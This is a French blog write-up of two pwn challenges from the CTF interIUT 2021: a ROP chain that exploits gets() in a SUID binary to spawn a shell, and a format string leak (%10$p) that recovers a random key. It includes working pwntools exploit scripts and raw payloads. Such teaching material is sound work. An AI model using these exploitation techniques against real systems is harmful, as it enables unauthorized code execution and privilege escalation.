Catégories
CTF interIUT 2021 Pwn Write-ups

CTF interIUT 2021 – Pwn

Dans cet article nous ferons le write-up des deux petits challenges de pwn du CTF interIUT 2021 auquel nous sommes arrivés 2ème avec @Arn’Hack. Ils étaient très sympas et nous servirons de petite introduction au ROP (Return Oriented Programming) ainsi qu’à la faille de type format string.

Fichiers des challenges

Vous pouvez retrouver le binaire de chacun des challenges dans l’archive suivante.

Simple – 50 points

Énoncé du challenge

Récupérez le contenu du fichier flag.txt situé sur le serveur simple.interiut.ctf en ssh avec l’utilisateur chall et le mot de passe chall.

ssh chall@simple.interiut.ctf
mot de passe : chall

Découverte du chall et récupération du binaire

On commence évidemment par se connecter en ssh au challenge comme indiqué dans l’énoncé. Une fois connecté on explore un petit peu.

 $ ls -al
 total 40
 drwxr-xr-x 1 root root   4096 Jun 18 21:25 .
 drwxr-xr-x 1 root root   4096 Jun 19 21:41 ..
 ---------- 1 root root     63 Jun 18 21:25 Makefile
 -rwsr-sr-x 1 priv chall 16664 Jun 18 21:25 challenge
 -r--r----- 1 priv priv     34 Jun 18 21:25 flag.txt
 d--------- 1 root root   4096 Jun 18 21:25 src

 $ cat flag.txt 
 cat: flag.txt: Permission denied

 $ ls src/
 ls: cannot open directory 'src/': Permission denied

 $ id
 uid=1000(chall) gid=1000(chall) groups=1000(chall) 

 $ ./challenge 
 eldiablooooooooooo

 $ python -c "print('A'*1000)" | ./challenge 
 -bash: python: command not found 

Ok donc si on récapitule, nous avons les informations suivantes :
– nous sommes l’utilisateur “chall”
– un flag.txt qui appartient à l’utilisateur “priv”
– le binaire “challenge” qui est SUID et qui pourra donc s’exécuter avec les droits du l’utilisateur “priv”
– il n’y a pas de Python sur le challenge, on devra donc utiliser autre chose pour exécuter notre exploit

Nice ! On a déjà une petite idée de ce qu’il va falloir faire : exploiter le programme “challenge” pour récupérer un shell ou directement cat notre flag.txt. On peut ensuite récupérer le binaire (via scp ou base64 si on a la flemme comme moi) pour l’analyser et essayer de l’exploiter en local sur notre machine.

$ base64 ./challenge

f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAcBBAAAAAAABAAAAAAAAAANg5AAAAAAAAAAAAAEAAOAAL

AEAAHQAcAAYAAAAEAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAaAIAAAAAAABoAgAAAAAAAAgA
[...]
AAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAANI4AAAAAAAAAwEAAAAAAAAAAAAA

AAAAAAEAAAAAAAAAAAAAAAAAAAA= 

On copie tout ça, on va sur notre machine, on colle dans un fichier et on base64 -d ce fichier pour retrouver notre binaire de base.

root@f90d24e4b2f7:~$ vim ok # ici on colle la base64
root@f90d24e4b2f7:~$ base64 -d ok > simple
root@f90d24e4b2f7:~$ file simple 
simple: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8bca8d342087661d6f337139f0dd25ad4dcd6e7, not stripped
root@f90d24e4b2f7:~$ chmod +x simple 
root@f90d24e4b2f7:~$ ./simple 
test1234567890

On récupère bien ainsi notre binaire ! On note au passage que c’est un ELF x86_64 non strippé et passe à l’étude de celui-ci 🙂.

Vérification des protections

Un bon réflexe qui va par la suite orienter notre recherche de vulnérabilité va être de vérifier les protections du binaire.

$ checksec ./simple
[*] '/root/ROPemporium/simple'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000) 

On a donc un NX (pour Non eXecutable) ce qui veut dire que notre stack n’est pas exécutable et que l’on ne va pas pouvoir mettre de shellcode sur lequel jump dans la stack.

Ensuite, il n’y a pas de stack canary ce qui veut dire que l’on va néanmoins pouvoir overflow le buffer sans soucis.

Enfin, il n’y a pas de PIE ce qui va nous faciliter la vie pour pouvoir ROP (les adresses des instructions ne changeront pas à l’exécution).

Reverse engineering

On peut ensuite ouvrir le binaire dans notre désassembleur favori (ce sera IDA pour moi) et regarder le code de la fonction main.

Code désassemblé de la fonction main

Première information importante dans cette fonction : le binaire commence par faire un setreuid(geteuid(), geteuid()) ce qui nous permettra par la suite d’avoir un shell en tant que “priv” si on réussit notre exploitation 🥳.

Ensuite, le programme utilise “gets” pour remplir son buffer. Le problème (et avantage pour nous ici) de cette fonction c’est qu’elle ne vérifie pas la taille d’entrée de l’input et que donc nous pouvons écrire autant que nous voulons dans le buffer, autant que nous voulons, et donc overflow le buffer !

On continue ensuite l’exploration du programme et on trouve une toute petite fonction qui nous servira surement par la suite (elle n’est pas là par hasard 🙃).

Fonction “heyo” désassemblée

Enfin on trouve une dernière fonction plutôt TRÈS interessante qui s’appelle sobrement “shell”.

Code désassemblé de la fonction “shell”

Cette fonction est très simple : elle va xorer la chaine “+fmj+fewl” avec l’octet passé en paramètre à la fonction. Le résultat de ce XOR sera ensuite passé à la fonction system ! Nice on a toutes les cartes en main, on peut alors passer à l’exploitation 😏.

Idée de l’exploitation

Avant de commencer l’exploitation, on va commencer par bruteforcer le XOR nécessaire pour que “+fmj+fewl” nous donne quelque chose de plus sympa : j’utilise ici Cyberchef pour ça.

Bruteforce du XOR avec Cyberchef

On voit donc qu’avec la clé 0x4 on obtient bien une chaine sympa “/bin/bash” ! Super maintenant on va commencer à réfléchir à comment faire notre exploit.

Le plan est le suivant :
– Overflow du buffer pour réécrire la sauvegarde de RIP (adresse de retour)
– mettre RDI à 0x4 (le premier paramètre d’une fonction est passé dans RDI en x86_64)
– appeler la fonction “shell” avec donc 0x4 en paramètre
– FLAGZZZZ

Exploitation en local

La première étape est de trouver à partir de combien d’octets d’overflow du buffer on commence à réécrire la sauvegarde de RIP. par flemme j’ai ici fait de l’essai/erreur avec python.

$ python -c "print('A'*50)" | ./simple 
$ python -c "print('A'*60)" | ./simple 
Segmentation fault
$ python -c "print('A'*56)" | ./simple 
Segmentation fault
$ python -c "print('A'*54)" | ./simple 
$ python -c "print('A'*55)" | ./simple 
$

Ok c’est donc visiblement à partir de 56 octets qu’on commence à réécrire la sauvegarde de RIP. On peut alors vérifier en lançant le programme avec comme input ceci :

$ python -c "print('A'*56 + 'B'*8)"            
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB

Et si tout se passe bien le programme essayera de ret sur “BBBBBBBB” avant de segfault : on essaie dans gdb.

Essai d’overflow dans gdb

On a bien notre programme qui essaie de ret sur “BBBBBBBB” (voir $rsp).

Ensuite, on va chercher un moyen de mettre 4 dans RDI. Pour ceci on se souvient de la petite fonction “heyo” qui se présentait comme ceci :

0x401152:          public heyo
0x401152:  heyo    proc near
0x401152:  ; __unwind {
0x401152:          push    rbp
0x401153:          mov     rbp, rsp
0x401156:          pop     rdi
0x401157:          retn
0x401157:  heyo    endp

De cette fonction on peut extraire le gadget “pop rdi ; ret” qui servira à mettre ce que nous avons mis sur la stack dans RDI : il suffira de mettre 4 sur la stack ! On pourra ensuite appeler notre fonction “shell”.

bien s’passer ne t’inquiète pas

Nickel, on peut maintenant passer à la conception de notre petite ROPchain avec pwntools 😇. Après le chainage des différents éléments on obtient le script final ci-contre.

from pwn import * 

elf = ELF("./simple")

rop = b'A' * 56
rop += p64(0x0401156) # pop rdi ; ret
rop += p64(4) # key to unXOR "+fmj+fewl"
rop += p64(0x401157) # ret --> solving MOVAPS issue
rop += p64(elf.symbols["shell"]) # fonction "shell"

log.success(f"ROP chain : {rop}")
p = process("./simple")
p.sendline(rop)
p.interactive() 

NB : La présence du ret (0x401157) est ici là pour résoudre un problème bien connu de la libc de Ubuntu 18.04 et + appelé “MOVAPS issue”, je ne détaillerais pas ici ce soucis (c’est globalement pour réaligner la stack). Je l’ai mis pour pouvoir pwn le programme en local sur ma machine mais ce n’est pas nécessaire en remote 🙂.

On peut alors lancer le programme et vérifier qu’on arrive bien à pwn en local, avec un flag.txt écrit par nos soins.

$ python simple.py 
 [*] '/root/ROPemporium/simple'
     Arch:     amd64-64-little
     RELRO:    Partial RELRO
     Stack:    No canary found
     NX:       NX enabled
     PIE:      No PIE (0x400000)
 [+] ROP chain : b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV\x11@\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00W\x11@\x00\x00\x00\x00\x00[\x11@\x00\x00\x00\x00\x00'
 [+] Starting local process './simple': pid 30451
 [*] Switching to interactive mode
 $ id
 uid=0(root) gid=0(root) groups=0(root)
 $ ls
 flag.txt  simple.py  simple
 $ cat flag.txt
 FLAGGGGGGGGGGGGGG
 $ 
 [*] Interrupted 

Ca marche nickel ! On passe alors à l’exploitation en remote 😋.

Exploitation en remote et flagzzzzz

On se souvient qu’en remote il n’y avait pas de python, or les fonctions de pwntools utilisent python pour envoyer des inputs aux programmes : il va donc falloir faire sans. Je suis pour ma part passé par les commandes “echo” et “cat”.

On commence par copier notre ROPchain que l’on a print à l’exécution de notre script en local et on se connecte au challenge.

On va ensuite faire un “echo -ne <ROPchain> > /tmp/exploit”.
==> Le -n sert à ne pas mettre de \n à la fin
==> Le -e sert à interpreter les caractères hexa sous la forme \xFF

On va ensuite faire un “cat /tmp/exploit – | ./challenge” sans oublier le tiret qui nous servira à garder la main sur le shell qui va être créé et on pourra alors flag avec notre beau shell 🥰.

$ echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV\x11@\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00W\x11@\x00\x00\x00\x00\x00[\x11@\x00\x00\x00\x00\x00" > /tmp/exploit
$ cat /tmp/exploit - | ./challenge 
id
uid=666(priv) gid=1000(chall) groups=1000(chall)
ls
Makefile  challenge  flag.txt  src
cat flag.txt
CTFIUT{StUP1de_s7up1DE_5tUpiDe!!}

Tadaaaaamm 🤑

Basique – 100 points

Énoncé du challenge

Vous n’avez pas les bases, récupérez le contenu du flag en devinant correctement la clé !
nc basique.interiut.ctf 1337
<le binaire était ensuite en téléchargement>

Découverte du chall en remote

On peut alors commencer par lancer le binaire en remote pour découvrir un petit peu comment il marche. Le programme nous demande notre prénom puis une clé que l’on doit deviner (surement générée soit à partir du prénom soit aléatoirement).

$ nc basique.interiut.ctf 1337
Salut, tu t'appelles comment ?
SoEasY
Bienvenue dans mon jeu préféré SoEasY
Devine la clé pour avoir le flag !
1234
Vous n'avez pas les bases 

Ok on a donc deux inputs consécutifs. L’overflow ne donne visiblement rien car le premier input est visiblement limité à quelques caractères et le 2ème input est alors cassé.

Cependant, les essais de format string se montrent fructueux sur le premier input !

$ nc basique.interiut.ctf 1337
Salut, tu t'appelles comment ?
%x%x%x
Bienvenue dans mon jeu préféré 8f7ee55c00
Devine la clé pour avoir le flag !
wow !
Vous n'avez pas les bases 

Il est maintenant l’heure de regarder ce binaire pour voir ce qu’on pourrait faire de cette format string 🙃.

Vérification des protections du binaire

Encore une fois on peut vérifier les protections du binaire au cas où.

$ checksec ./basique
[*] '/root/ROPemporium/basique'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled 

On a encore un NX et cette fois-ci le binaire est un PIE (Position Independant Executable) ce qui veut dire en gros que sa base address sera calculée au runtime et qu’il est donc impossible de prévoir sa base address en remote (meme si on peut bruteforce en réalité).

Cela peut indiquer que le but n’est pas de ROP dans un challenge facile, et le NX est là pour ne pas exécuter de shellcode sur la stack.

Enfin, il n’y a pas de stack canary mais cette information ne nous servira pas.

Reverse engineering

On commence par faire un file sur le binaire pour voir à quoi on a affaire.

$ file basique
basique: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=072a256ebea949cbb4d590a43d339fc8e90b7b0c, for GNU/Linux 3.2.0, not stripped 

On a donc un ELF x86 (on avait déjà cette info dans le checksec btw) non strippé (les admins sont sympas). On peut ensuite ouvrir le binaire dans un désassembleur (IDA ici) et regarder le code de la fonction main.

Début du code désassemblé de la fonction main

On voit ici qu’une clé est générée avec la fonction “get_new_key”. Ensuite, le programme récupère notre prénom sur 8 char max (en réalité moins car il faut stocker le \0 de fin de ligne) et le stocke dans un buffer. Il va ensuite le printf directement, sans format “%s” : la vulnérabilité se trouve ici ! En effet, nous allons alors pouvoir faire passer notre input pour un format et leak la stack 🤪.

La clé sera ensuite demandée sur 5 char max (encore une fois plutôt 4 char plus le \0 de fin de ligne) et stockée dans un nouveau buffer. La clé va ensuite être comparée à la clé générée via la fonction “are_keys_equals”. Si la clé est la bonne alors le message “Ah c’est marrant\nLa clé était bien <clé>, bien joué” et le flag s’affichent.

Par acquis de conscience on peut regarder la fonction “get_new_key” pour voir s’il n’y a pas moyen de prédire le contenu de la clé générée.

Code désassemblé de la fonction “get_new_key”

Bon on va faire confiance au développeur sur ce coup. Ça en en effet l’air sécurisé avec l’appel à “/dev/urandom” couplé à un modulo 0xFE (pourquoi pas). On remarque au passage que la clé est un DWORD soit 4 octets (comme un pointeur en x86).

Idée de l’exploitation

Ici l’idée de l’exploitation est simple : on va utiliser la format string pour lire la valeur de la clé générée qui sera alors sur la stack et écrire la valeur lue dans le 2ème champ… Simple !

Exploitation en local

On va commencer par trouver à quel offset par rapport à ESP se trouve notre clé lors de l’appel à notre 2ème printf. Pour cela on ouvre notre binaire dans gdb et on commence par repérer la valeurs de la clé pour la repérer dans la stack plus tard.

Repérage du buffer qui contiendra la clé

On garde en tête que c’est la valeur en [ebp-0x10] qui sera notre clé. On passe ensuite l’appel à la fonction “get_new_key” pour vérifier la valeurs à la sortie.

(gdb) x/x $ebp-0x10
0xffaa87b8: 0x2bdd0761 

Ok on a donc 0x2bdd0761 en clé. On va maintenant avancer jusqu’au printf chargé d’afficher notre prénom et mettre une valeur random en prénom comme “AAA”.

Breakpoint avant le call au printf

On voit ici bien notre clé en affichant la stack qui est le 10ème DWORD sur la stack après RSP, semblable à un pointeur (sur 4 octets en x86), juste après le buffer qui stocke notre input (0x414141 étant “AAA”).

Le format qui permet de récupérer une valeur sous forme d’un pointeur est le %p. Pour récupérer la valeur de 10ème pointeur sur la stack on peut alors utiliser %10$p !

Exploit en remote

On passe alors à l’élaboration d’un petit script qui va permettre d’afficher la clé via le 2eme printf, récupérer cette clé et la renvoyer en little endian dans le 2ème input avec notre ami pwntools 😄.

from pwn import * 

p = remote("basique.interiut.ctf", 1337) 

p.recv()
p.sendline(f"%10$p") 

# recuperation de l'adresse dans la reponse (en str)
key = str(p.recv().split(b'\n')[0].split(b' ')[-1])[2:][:-1]
# suppression du \\r present en remote
key = key[:-2] 

log.success(f"KEY IN HEX = {key}")
key = int(key, 16)
log.success(f"KEY IN DECIMAL = {key}")
p.sendline(p32(key)) 

rep = p.recvall()
log.success(f"REPONSE = {rep}") 

On exécute ensuite le script et on flag ! 🤩.

$ python basique.py 
[+] Opening connection to basique.interiut.ctf on port 1337: Done
[+] KEY IN HEX = 0x5664bffd
[+] KEY IN DECIMAL = 1449443325
[+] Receiving all data: Done (100B)
[*] Closed connection to basique.interiut.ctf port 1337
[+] REPONSE = b"Ah c'est marrant\r\nLa cl\xc3\xa9 \xc3\xa9tait bien fd bf 64 56 , bien jou\xc3\xa9 !\r\nCTFIUT{v1v3m3nt_1a_5t_v4l3t1n}\r\n\r\n"

C’est la fin de cet article ! J’espère que ça vous a plus autant qu’à moi et bravo à vous si vous me lisez encore à la fin de cet article 😁.